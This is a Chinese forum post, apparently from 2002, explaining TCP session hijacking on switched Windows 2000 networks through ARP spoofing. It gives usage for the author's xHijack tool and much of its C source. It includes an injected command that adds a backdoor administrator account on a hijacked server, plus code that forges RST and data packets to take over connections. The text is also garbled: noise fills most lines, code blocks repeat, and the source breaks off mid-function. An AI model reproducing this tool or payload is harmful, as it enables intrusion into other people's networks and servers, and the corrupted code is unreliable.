再谈交换环境下的会话劫持(For windows2000)

韩冰

第一步是开启IP Routing的功能，修改注册表
/ a- G* c9 O" R; ~: N4 t; wHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1，重启系统即可。
% e! T9 N5 r0 G* H第二步是ARP欺骗，具体原理我就不说了。
$ z8 a3 ]! d  ^5 }  P# p第三步就是开始劫持啦。
; A+ z" |( l4 I# {
我写了个程序xHijack可以实现第二、三步功能，使用如下:
5 `* G. Q8 ~# q$ F. A; r
Usage: xHijack ServerSide ClientSide

8 E' g7 T2 k4 t/ s7 v下面根据三种不同的情况分别说明如何输入参数：
; A" \3 w& L+ S2 l1 B' U9 L<1>服务器、客户端、劫持者处于同一局域网，接在同一交换机上（或交换机级连？）。
假如服务器的IP是192.168.0.2，客户端的IP是192.168.0.3，提供如下参数给xHijack即可
c:\>xHijack 192.168.0.2 192.168.0.3
劫持前数据流程：server <--> client
劫持后数据流程：server <--> hijacker <--> client
3 z  w7 F/ q# L1 o  h
<2>服务器、劫持者处于同一局域网，客户端处于别的网络。
假如服务器IP是202.202.202.2，服务器的网关是202.202.202.1，提供如下参数
( _4 v0 |+ p% k, _xHijack 202.202.202.2 202.202.202.1
劫持前数据流程：server <--> gw <--> routes <--> client
劫持后数据流程：server <--> hijacker <--> gw <--> routes <--> client

; w; S3 p5 h/ I<3>客户端、劫持者处于同一局域网，服务器处于别的网络。
假如客户端的IP是192.168.0.2，网关是192.168.0.1，提供如下参数
& l  ~2 e8 d. ^% s8 K6 e& lxHijack 192.168.0.1 192.168.0.2
! X: g* y1 g* ~& g  ~- {% \劫持前数据流程：client <--> gw <--> routes <--> server
劫持后数据流程：client <--> hijacker <--> gw <--> routes <--> server
0 r1 P6 Q$ x& P, u. c
. z; i- K! L4 [2 n0 e, m输入两个参数后，会提示你选择网卡，然后会提示
l        <-- List all connections
  v4 M% s" |- r) S" _* Nr x       <-- Reset the number x connection
w x       <-- Watch the number x connection
h x command   <-- Hijack the number x connection to execute command

list、reset、watch命令我就不解释了。
假如现在有如下连接
(1) 202.202.202.202:23 <--> 192.168.0.3:2345
我们想要劫持这个连接运行我们的命令，输入
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
为什么命令前面要加&呢？假如客户刚发送一个字符p过去，我们不加&的话，服务器端接受到的就是
6 O0 P% E7 E2 Q0 Y2 Jpnet user.....了，加了&后就成为p&net user.....，这样就不管前面客户输入了什么，我们的命令
( n# R1 ]8 S$ ^+ ]都能够运行了。以上都假设服务器是windows 2000，unix下加什么字符，我不知道，我是unix白痴，呵呵。
* f; K& Z. V/ n
/ M2 o: ?( t$ W; `# F: d劫持的流程如下：
<1>伪装成Server给Client发一个rst包
. l- b$ k1 w& v) e! G<2>伪装成Client给Server发了一个数据包
<3>Server回一个ACK包给client
5 p3 c: d, W: L3 ~5 _<4>因为Cleint的连接已经给我们reset掉了，所以client回一个rst包给server

5 d1 L2 ^& p$ g2 v8 p7 {这样的话，我们只能发一个伪造的包，但我想已经足够了。
想要一直劫持那个连接也可以，如下
" Z$ H) \- k/ k9 ?# w: S; k<1>伪装成Server给Client发一个rst包
0 r- X0 h) \0 L9 f/ `<2>欺骗Client，告诉它Server的MAC地址AAAAAAAAAAAA
<3>伪装成Client给Server发了一个数据包
<4>Server回一个ACK包给client
<5>Client回一个rst包给Server，但Server收不到，因为Client发到AAAAAAAAAAAA了，呵呵。
<6>然后Server发给Client的包都由我们来处理，包括给Server回ACK包等等。
, ?1 }2 v) E9 O: o
不过这样比较危险，在我们劫持的过程中，Client与Server的通讯始终是断开的。

" w! P! s; N/ d, P- q
! @" G" T2 |5 R. d6 l  O刚开始看TCP/IP协议，调程序调得头昏脑涨，说明也写的乱七八糟，呵呵，程序代码也可能存在很多问题，
还请各位多多指点。

BTW:我没有空间，编译好的程序没地方放：（



参考资料
" \# z' @% m0 u$ ?" u<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377
9 w/ c8 h% ?; |7 c/ m
& f% N9 x  m+ Y) G6 c
& }; _5 _+ W$ m3 _9 B1 l以下是程序代码
----------------------------------------------------------------------
6 {% f/ e) s5 I, d5 D6 O/*-----------------------------------------------------------------------------
# ]  H0 Q1 p+ g! ~* N+ MFile      : xHijack.c
Version      : 1.0
Create at    : 2002/8/12
Last modifed at  : 2002/8/19
Author      : eyas
Email      : ey4s@21cn.com
HomePage    : www.ey4s.org
) I& E% i% b" \' t) w感谢refdom和shotgun发布的源代码，使我获益非浅。
If you modify the code, or add more functions, please email me a copy.
' |( w4 y- V- c: p
备注:
# b% K0 F  [, V+ D7 Y) B/ ?9 J& S<>没有考虑IP头、TCP头超过20字节的情况
! v7 Y# s- }5 W. n& I9 ^<>没有考虑数据包分片的情况
: c2 l5 X1 o2 C- {0 E! n<>没有对截取到的TCP数据进行解码，如TELNET，虽然是明文传输，但是TCP数据里面包含了
显示格式、位置等信息，直接打印出来，显得很凌乱。但如果是IRC、SMTP、POP3等就没问
" o4 Q& ^" y: g题了。
/ l$ X2 l. n. S0 {( ?/ u9 y
也许下一版本会修正这些问题，也许不会有下一版本了。
$ _7 b4 |! v8 U$ x& c
-----------------------------------------------------------------------------*/
#include
5 O: ?" y8 d3 ^9 d$ Q#include
#include
#include
% x' m/ ?" c5 D#include
#include
& s5 {% a7 a$ w# @; K7 {8 I% ?#include

. i$ e& z. w2 I+ {! l# _#pragma comment (lib, "packet")
#pragma comment (lib, "iphlpapi")
#pragma comment (lib, "ws2_32")
. `/ P5 F1 q9 q$ p
, S& B* @; G6 T$ f) I6 r#define Max_Num_Adapter 10
#define Max_Num_IPAddr  5
#define EPT_IP      0x0800      /* type: IP  */
0 @& X( W& E1 F# u/ d#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
: S: k* g$ r. o0 V( r7 y  E#define EPT_ARP      0x0806      /* type: ARP */

#define  ACTION_NONE    0
2 `! c7 r6 L  l#define  ACTION_WATCH  1
#define  ACTION_RESET  2
#define ACTION_HIJACK  3

/*以1字节对齐*/
2 a+ V, @0 w# _2 Q/ a2 [#pragma pack(1)
typedef struct _ehhdr
{
# ?' \) q0 [& O  b& v, x1 Z. L" ^- @0 B  unsigned char  DestMAC[6];
0 @+ U3 [# j0 E) O% b, q* L  unsigned char  SourceMAC[6];
. {2 `2 S8 F7 \8 v  unsigned short  EthernetType;
8 e! D3 P3 Q( [& l7 ]$ a- ~- I) D}EHHDR, *PEHHDR;

9 c% e3 r2 k9 K& ttypedef struct _iphdr        //定义IP首部
{
( i+ ^0 [) B; M5 c7 f8 A  unsigned char h_verlen;      //4位首部长度,4位IP版本号
* X% n: x6 I  g# |# d7 A  unsigned char tos;        //8位服务类型TOS
  unsigned short total_len;    //16位总长度（字节）
& I- F- P- t0 Q  S# ?# m  unsigned short ident;      //16位标识
% @/ t# ~2 E1 Z* G5 e  unsigned short frag_and_flags;  //3位标志位
7 I; h* W1 i. z/ F1 M5 ^4 m$ H5 U  unsigned char ttl;        //8位生存时间 TTL
9 a5 H) U  J5 |9 b  unsigned char proto;      //8位协议 (TCP, UDP 或其他)
  unsigned short checksum;    //16位IP首部校验和
  unsigned int sourceIP;      //32位源IP地址
  unsigned int destIP;      //32位目的IP地址
}IPHDR, *PIPHDR;

typedef struct _tcphdr        //定义TCP首部
! T7 [; }% ^( n. n) _{
8 q7 q4 X+ h# m  USHORT th_sport;        //16位源端口
  USHORT th_dport;        //16位目的端口
  unsigned int th_seq;      //32位序列号
" F/ k& w0 r% i/ J  ], K) Y- J  unsigned int th_ack;      //32位确认号
6 y6 M) n8 z2 T& b8 f- l9 }! l1 I% V  unsigned char th_lenres;    //4位首部长度/6位保留字
  unsigned char th_flag;      //6位标志位
, H; e' q$ ^; {: s( d2 b  USHORT th_win;          //16位窗口大小
- V. Z9 q' u4 T0 W- {) ?  USHORT th_sum;          //16位校验和
1 D0 |' T& P8 k6 |4 @( ^  USHORT th_urp;          //16位紧急数据偏移量
6 @% z4 k+ {+ b& p}TCPHDR, *PTCPHDR;
. f  O) C' W, D3 o
typedef struct _psdhdr        //定义TCP pseudo header
0 |4 N; _( ^0 `{               
  unsigned long saddr;
* A' f! N3 d& @) v1 O$ z0 J# o  unsigned long daddr;
  char mbz;
  char ptcl;
; V. b- u: q+ `5 \! ~  unsigned short tcpl;
}PSDHDR, *PPSDHDR;
7 x' ^. q* l  w
1 Q. m8 D1 p# `typedef struct _arphdr
{
  t" e# O6 l% v& R% |' _  unsigned short  HrdType;//硬件类型
# }& J9 B7 D: ~4 Y  unsigned short  ProType;//协议类型
4 N0 m+ Z" b5 _+ f* j$ M" T  unsigned char  HrdAddrlen;//硬件地址长度
4 R) {+ F$ V  A' [1 {) T, h) u  unsigned char  ProAddrLen;//协议地址长度
  unsigned short  op;//operation
  unsigned char  SourceMAC[6];/* sender hardware address */
4 {' a( ^; r4 I% @- M  unsigned long  SourceIP;/* sender protocol address */
* }) h  L5 y+ c5 a- ?: o2 v% b+ ~( m  unsigned char  DestMAC[6];/* target hardware address */
  unsigned long  DestIP;/* target protocol address */
) I5 Y& R, @8 Y6 }}ARPHDR, *PARPHDR;

typedef struct _ArpPacket
{
0 g  [; N" n4 Z  EHHDR  ehhdr;
  ARPHDR  arphdr;
( Y9 K7 _8 ]- K7 B% ~- o, E}ARPPACKET, *PARPPACKET;
5 o4 _5 ~+ ^( c% {0 e1 |
typedef struct _tcppacket
{
  EHHDR  ehhdr;
' A% x+ D. t9 O. {) E  IPHDR  iphdr;
  TCPHDR  tcphdr;
}TCPPACKET, *PTCPPACKET;
  b' x- r& l5 _+ w, \4 ]$ `9 v" p
0 |8 j  U0 K$ e2 Ctypedef struct _conninfo
, ^! ^, I7 {; @6 O/ k3 @1 p{
: @$ `8 I0 y, T2 E3 W  DWORD  dwServerIP;
  USHORT  uServerPort;
' p, W8 ^: X7 K" T1 m  DWORD  dwClientIP;
- s9 d# A% m/ _  c0 C  USHORT  uClientPort;
  DWORD  ident;//标识
  BOOL  bActive;
  struct  _conninfo  *Next;
}CONNINFO, *PCONNINFO;

//定义全局变量

韩冰

unsigned int  g_ServerSideIP,
        g_ClientSideIP,
' q1 D# u! n) l6 j        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
6 K5 h0 A! Y: `( ^5 k( {        g_TotalIP = 0;//
4 N/ Q/ v2 F- Q3 e! Dunsigned char  g_szOwnMAC[6];//本机MAC地址
. ~- \8 I! y: m1 u" Cunsigned char  g_szClientSideMAC[6];
: m2 y/ J% _$ C# Kunsigned char  g_szServerSideMAC[6];
* x- j  B" ?4 N) a4 J: T9 j5 Achar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
  ]% m+ K- b( o# BLPADAPTER    g_lpAdapter;
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
6 i. ?, g: ]0 ~! o  Q. t$ ZHANDLE      g_hThread[4];
; Q- A' P$ h3 C5 W& U8 ochar      g_szCommand[128];//command to execute after hijack
, w: S/ N+ k% }9 }DWORD      g_dwAction;//action type
% s  P: K- _& @9 WDWORD      g_dwCtrlConn;//action 所控制连接的标识
7 m8 I% {" l$ FDWORD      g_ident;//节点标识，递增
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
5 @' a( [- f7 o# ^3 Y" j8 `        g_pConnHead = NULL,
. e0 i; T, _' ^  z+ F) H        g_pConnLast = NULL;
( g: Y. Z4 z. C2 L, P. ]" Achar      g_szSendPacketBuf[1514];
LPPACKET    g_lpSendPacket;
- o2 {" A/ Y+ ]  A% v, \* @8 M//函数
& w& G: K9 O! Q) m: F$ ~void      usage(void);
$ z# A5 E8 z5 Y! b! Jvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
  l: W6 @! L' E9 j% j3 svoid      ListAllConnection();//列出当前所有的连接
void      ResetActionAllFlag();
3 T% e. H% Y4 e/ xUSHORT      checksum(USHORT *, int);
# D( K2 M& j  qBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
! c2 C( }) I/ P8 [3 _: K5 X, N) F7 SLPADAPTER    InitAdapter();//初始化一些参数和全局变量
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
. o* M: C, z+ Z, ?) B, K; P5 Y# t, @BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
- l4 ^) T5 w" r1 eDWORD      GetConnNum(char *, DWORD, DWORD *);
) r  b! b& a9 f8 kDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
/ E3 m9 I2 J7 z  ^0 K5 rDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
- |4 ~6 \7 s7 f+ H6 k6 h3 ODWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
) u& X# w/ U5 k* R# @# M/ a. ^DWORD  WINAPI  InterfaceThread(LPVOID);//
" A. s4 w" o7 o7 T- b# r3 A9 IBOOL  WINAPI  CtrlEvent(DWORD);

) g$ |" j) d5 Q% }. s& O& g: J/ |

# T4 `: C; J4 {, U" h- r: _int main(int argc, char **argv)
8 F. \7 g( z/ e{
: Y$ D# e5 m2 t  n1 g  struct    bpf_stat stat;
# o  q7 y- M$ m) ^) e  int      i;
. I2 x) G8 T+ A4 Y0 i8 q
  usage();
9 g, p6 P: \% \2 p0 e7 i  if (argc != 3) return 0;
4 K8 l6 w( F5 B; B. ?( q" M  //取得参数
) z  E! T3 a$ N% S  V& H6 R' h  g_ServerSideIP = inet_addr(argv[1]);
  g_ClientSideIP = inet_addr(argv[2]);
  //初始化adapter & 一些全局变量
  g_lpAdapter = InitAdapter();
  if(!g_lpAdapter) return 0;
  //get ServerSide MAC & ClientSide MAC
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
9 i! E$ [+ n: n1 A) H/ n- E* x  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
! {7 y$ h. u7 ?* u0 v  //create arp spoof thread     
  i = 1;
- Y% L) T4 N# u  i" J  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  Sleep(500);
  [. t; X, X3 o0 Y% ^  i = 2;
+ q& Y8 I% O; \% r# Q8 t  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  //create analyse packet thread
2 A0 G) }6 W  ]6 A  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
: K& Q8 l  k( {/ [" c$ }" e  //create interface thread
) H6 |* R5 `& V9 q2 t# O  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
  //set console ctrl handle
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
  {
) N; ~+ P6 P: s5 O    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
    return 0;
  }
  //wait for any thread exit
3 |7 u$ [0 ]' E* b' v7 P4 Z% q  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
  //print the capture statistics
" v* @0 d$ B' l" G, o  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
( V  R$ y, `0 X: b+ Z/ @    printf("Warning: unable to get stats from the kernel!\n");
  else
, k1 W' _& i/ |( ?- s, x% Z3 ^- f    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
' r5 {/ c/ S6 D: y  //free resource   
9 d( i& q8 r! S! H) z4 D  PacketFreePacket(g_lpSendPacket);
  PacketCloseAdapter(g_lpAdapter);
  return 0;
. Q3 K, f( z% p; R' w0 h}

//
//功能：重置所有于ACTION有关的标志
//

韩冰

unsigned int  g_ServerSideIP,
$ |; Q* Y0 h  E) z, b        g_ClientSideIP,
8 l" j9 G# l: ?7 x        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
        g_TotalIP = 0;//
unsigned char  g_szOwnMAC[6];//本机MAC地址
9 m: i7 M. z8 E/ G* ]unsigned char  g_szClientSideMAC[6];
; P. [: h; i# w- J- U" r$ Y& Dunsigned char  g_szServerSideMAC[6];
! Q' O- d' p* {! ~5 \" ochar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
LPADAPTER    g_lpAdapter;
& i" A+ _  x" _' U( q//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
6 Z3 g7 G6 h; r' c8 d( RHANDLE      g_hThread[4];
char      g_szCommand[128];//command to execute after hijack
DWORD      g_dwAction;//action type
DWORD      g_dwCtrlConn;//action 所控制连接的标识
DWORD      g_ident;//节点标识，递增
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
1 m7 ~$ R$ W& `0 [7 t5 ~        g_pConnHead = NULL,
        g_pConnLast = NULL;
char      g_szSendPacketBuf[1514];
LPPACKET    g_lpSendPacket;
//函数
4 K/ B5 I; |0 A1 Evoid      usage(void);
& ]2 }/ u& b% r+ Z1 Bvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
void      ListAllConnection();//列出当前所有的连接
5 e' Q; x" I6 F8 G( cvoid      ResetActionAllFlag();
USHORT      checksum(USHORT *, int);
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
1 F; d- Z# K# t( h$ `8 iBOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
/ m' h3 I+ A) RLPADAPTER    InitAdapter();//初始化一些参数和全局变量
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
* c) |- k/ E% H, \: yBOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
DWORD      GetConnNum(char *, DWORD, DWORD *);
# P  T$ _# f. F# F4 m: j) oDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
! z+ U$ X9 @1 {+ _8 ?DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
7 @/ Q/ F# ?4 F$ m; SDWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
DWORD  WINAPI  InterfaceThread(LPVOID);//
BOOL  WINAPI  CtrlEvent(DWORD);

- b- Q1 Q! M: ^5 m- U& T" A
: m& Q' g% H6 X3 r: H
1 ]& Z4 T0 w2 c* S( mint main(int argc, char **argv)
{
  struct    bpf_stat stat;
  int      i;

0 t2 o% v* r8 {* f1 L4 D0 f  usage();
* v8 d* X! O+ Q( m% o  if (argc != 3) return 0;
  B* K, ^/ f: K  //取得参数
  g_ServerSideIP = inet_addr(argv[1]);
  g_ClientSideIP = inet_addr(argv[2]);
. N9 }" a0 h6 I- l$ a  //初始化adapter & 一些全局变量
  g_lpAdapter = InitAdapter();
  if(!g_lpAdapter) return 0;
  //get ServerSide MAC & ClientSide MAC
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
, |/ H9 o& G2 \) n  //create arp spoof thread     
  i = 1;
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
- }# h1 B: t: a; D# S  Sleep(500);
  i = 2;
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  //create analyse packet thread
/ V5 T5 u# G1 a6 U  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
9 u; K3 U, z" ?1 q5 E1 H  //create interface thread
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
  //set console ctrl handle
- \- @' `5 ]0 b* l  c: k  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
  {
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
    return 0;
  }
0 `4 v" y9 Y$ F. H, [. K  //wait for any thread exit
; b3 i5 [3 l. {& P* ?1 w: s+ H  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
1 s: @5 d0 Z% L* u  //print the capture statistics
' H- C) D  g/ P1 k& B  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
    printf("Warning: unable to get stats from the kernel!\n");
  else
3 r1 ~; O9 W5 B! |9 G" L1 O    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
  //free resource   
! ~; g- |1 y# F: u+ v3 |% [8 u5 n  PacketFreePacket(g_lpSendPacket);
  PacketCloseAdapter(g_lpAdapter);
% _* {9 v. v0 t9 q7 K: u' r+ A2 N  return 0;
}
: j1 N) L& E, p  n$ s/ P% U" E
//
" c/ O7 v: h( H( E//功能：重置所有于ACTION有关的标志
//

韩冰

void ResetActionAllFlag()
' D1 c( S5 {6 k4 a$ o# G7 z0 r{
& ^! N- K* I8 y  g_dwCtrlConn = 0;
/ D  |' W( b  {0 T8 t/ F  g_pCurrCtrlConn = NULL;
$ h# \$ x% k" ?0 H( X  g_dwAction = ACTION_NONE;
}

. Y: m/ x4 q, h/ Y1 R$ ^1 Q//
//功能：处理Ctrl+C和Ctrl+Break事件
//
BOOL WINAPI CtrlEvent(DWORD dwCtrlType)
{
5 @, c* v' _, p- t  switch(dwCtrlType)
' A' k, w. b2 B  ^7 A2 p5 ^, i0 A5 _  {
    case CTRL_BREAK_EVENT:
      //reset action all flag
      ResetActionAllFlag();
- m5 _6 n' Y$ a6 w      break;
    case CTRL_C_EVENT:
      //terminate all thread
7 v( I+ a6 m7 A2 V8 y. |& {      TerminateThread(g_hThread[0], 0);
      TerminateThread(g_hThread[1], 0);
) B1 g. v$ {' v  E; k' N      TerminateThread(g_hThread[2], 0);
3 L# S, y# e* A) a5 ^# a      TerminateThread(g_hThread[3], 0);
- b6 }) O/ G/ M% g      break;
  I) D2 m& N& ]) }" Q1 _' t. o    default:
      break;
  }
  return TRUE;
}

//
//功能：处理用户输入
) m5 f9 M# o9 ], A7 h//
7 R' i- |, [+ J. C3 N* z. \3 B4 X0 fDWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
' K4 L0 C- I% ~) f3 c* x9 e. P/ b3 w{
  DWORD  i;
  char  szBuff[16];
  h1 J  G2 z3 D% i
  *lpCommandPos = 0;
/ n  ~& S$ O4 ^" k, @  for(i=0; i<15, i代码比较乱
//
DWORD WINAPI InterfaceThread(LPVOID lp)
* H& n4 B" z4 J6 S2 M# B: O; \{
  char  szHelp[] =  "l\t\t<-- List all connections\n"
0 d# @, q. r, |. s            "r x\t\t<-- Reset the number x connection\n"
2 ~( I  C! V7 {1 @            "w x\t\t<-- Watch the number x connection\n"
            "h x command\t<-- Hijack the number x connection to execute command\n"
            "[Note]\n"
            "Ctrl+Break to clear all action\n"
            "Ctrl+C to exit\n";
6 j6 k' z; |; |: v- r  char  szPrompt[] = "\nxHijack>";
  char  szBuffer[128];
  DWORD  dwPos;
  PCONNINFO  pTmp;
4 k5 T: c# N9 ?/ Z' C: x
  while(1)
  {
    gets(szBuffer);//不考虑buffer overflow
7 k" ^' U+ u( ?* K0 X" N    switch(szBuffer[0])
    {
      case 'l':
      case 'L':
        ListAllConnection();
1 h9 d6 _4 L$ b1 v3 F0 A        break;
6 O- ~. j9 G  K$ z0 t7 X$ ?3 e; C+ ^+ T7 ]      case 'r':
      case 'R':
; Y0 R- d5 z/ _1 I& R2 u( y# F( E        if(strlen(szBuffer) >2)
        {
, L& Z' P: ]; x2 @          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
          g_dwAction = ACTION_RESET;
$ J. X4 j6 x1 c+ h( |6 s" I1 e        }
        else printf("%s", szHelp);
$ C* _$ t- e2 T        break;
      case 'w':
& E  X. {% z' g+ |7 {1 O# [      case 'W':
- }* c) ]/ d; O  u- w8 c        if(strlen(szBuffer) > 2)
        {
3 A7 ^2 ^2 z9 y; b9 B3 E% y4 w          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
          g_dwAction = ACTION_WATCH;
        }
        else printf("%s", szHelp);
        break;
2 `5 H3 X9 b- o: d8 r; U      case 'h':
" O+ [$ o' Y' m: U      case 'H'://h 1 xxx
, z) A# e- u# }( g        if(strlen(szBuffer) > 5)
        {
6 k+ I6 u$ H, C          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
" x4 v+ @5 ?" R. t- p$ f          //如果command第一个字符是'或"
+ h, B) F5 K! R; H* s6 [7 x          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
          {
            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
          }
          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
          strcat(g_szCommand, "\x0D\x0A");
          g_dwAction = ACTION_HIJACK;
        }
! F( G7 |! M5 T/ ^! G4 C        else printf("%s", szHelp);
7 B9 _# V4 a9 a: n        break;
  K0 J. f+ y  l4 R. h3 U      default:
; ^+ ?0 A+ `4 z& i        printf("%s", szHelp);
" X" o! E" }0 c3 q  @8 k        break;
& X$ ], z* A6 s, |& i. M    }//end of switch
6 d: Q9 t& O/ j2 L4 d    //find the specify ident's struct point
    if( (g_dwCtrlConn) && (g_dwAction) )
( z' {+ B( }! N/ z' }    {
      g_pCurrCtrlConn = NULL;
$ C# `& D9 F' X3 w2 O1 y) u      pTmp = g_pConnHead;
8 n0 u3 \/ @% Y  o' ^8 W8 x6 m      while(pTmp)
: ]. p  I5 m. T$ r, q2 S3 ~      {
# H, V* w( y; C1 v        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
        {
          g_pCurrCtrlConn = pTmp;
          break;
        }
0 `) Z/ ]1 l8 K7 q2 m  R! j        pTmp = pTmp->Next;
7 p( v9 O3 W# g+ o1 t0 Z+ K6 t      }
      if(!g_pCurrCtrlConn)
% o2 [% N, `2 N% S, e; [      {
* c& X; o2 B( o& n        printf("Can't find the number %d connection.\n", g_dwCtrlConn);
        //reset action all flag
/ h0 a  N1 R. g: S% a# d        ResetActionAllFlag();      
      }
: C5 P8 I, U* k% h# Z. H+ U8 Z    }
    if(!g_dwCtrlConn) ResetActionAllFlag();
    //显示当前用户所期望的动作
    printf("\nCurrentAction:");
; t( I) x4 A5 I: J: M% _6 m& V/ S    switch(g_dwAction)
& J! u) q% f  h" G, M    {
% G0 ~; j; m8 a* U3 u      case ACTION_WATCH:
        printf("ACTION_WATCH");
& k% m9 v! b; I% Y" d; Q6 q        break;
* A, P! f# h  n/ Y* T" Q( x  n      case ACTION_RESET:
        printf("ACTION_RESET");
        break;
- q: C- i9 J* [5 w6 n7 v7 o) c" z      case ACTION_HIJACK:
0 D5 e% f* |+ e        printf("ACTION_HIJACK");
        break;
9 T2 ?# D7 H! P      default:
        printf("ACTION_NONE");
        break;
* M4 ^# i. n: C( f- W    }
    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
# f" J2 {; r, Z) e6 R0 v5 V6 E- \  }//enf of while
  return 0;
}

韩冰

// //功能：列出当前所有连接 / v; S n- a8 j$ ^// void ListAllConnection() 0 M& G/ k, Z( a/ O& a{ PCONNINFO pTmp; ( O# o* N' l9 J+ g( S$ d SOCKADDR_IN saDest, saSource; ( [* v# F: b9 ^0 X: ~- N pTmp = g_pConnHead; ! {0 D6 I5 Q( w# t4 v* Q# t while(pTmp) { 0 ^5 L4 h& A0 b9 B4 c3 a) C if(pTmp->bActive) { ! X3 X( _8 J# W saSource.sin_addr.s_addr = pTmp->dwServerIP; , h2 x. m0 K. O7 i saDest.sin_addr.s_addr = pTmp->dwClientIP; printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), ntohs(pTmp->uServerPort)); ( |" b6 Y+ R! Z" { printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); } pTmp = pTmp->Next; $ {' o; g% Q) ]0 T) w } : J. r4 e7 L; J} # U* P/ q* ?$ U( S* ]2 ] ' A( E6 {$ N4 t; a6 V% k// //功能：初始化一些数据，取得指定网卡的MAC地址和所有IP地址 // - u' K9 a6 S0 `; P2 pLPADAPTER InitAdapter() : x$ @/ U, x7 H" _+ k8 I8 e{ / U1 B ^( Y$ X3 f, C4 G' k8 f5 a$ G LPADAPTER lpAdapter; 2 J( p3 I+ m% l. n' [. ?" ~: p5 l( ] static char AdapterList[Max_Num_Adapter][1024]; * E/ n& S g4 @& F char szSelectAdapterName[512]; WCHAR AdapterName[2048]; WCHAR *temp,*temp1; ULONG AdapterLength = 1024; int iAdapterNum = 0; : S6 x, Z/ Q. F int iRetCode, i; " `. ] a, C* I8 c, X int iAdapter = 0; ( U, J/ b# o% f3 G9 b0 o# V9 ]# q ULONG ulLen = 0; 9 j8 q2 K8 d1 Z- B! q, ~$ T+ C DWORD dwRet; ! v- p- R- C8 i5 z PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; / ^! U% R9 `& a/ d# F, x PIP_ADDR_STRING pIPAddr; $ {! l$ ?! k7 n) R 6 Q' y8 u [$ f //Get The list of Adapter if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) { - f1 Q5 a6 {' Q5 E! \& ?9 X3 i" R; M printf("Unable to retrieve the list of the adapters!\n"); return 0; 0 I% J+ C0 l4 L' t: e$ j/ r% y" K } temp = temp1 = AdapterName; i = 0; 8 _: H5 R. H, t Y' o0 S while ((*temp != '\0')||(*(temp-1) != '\0')) { if (*temp == 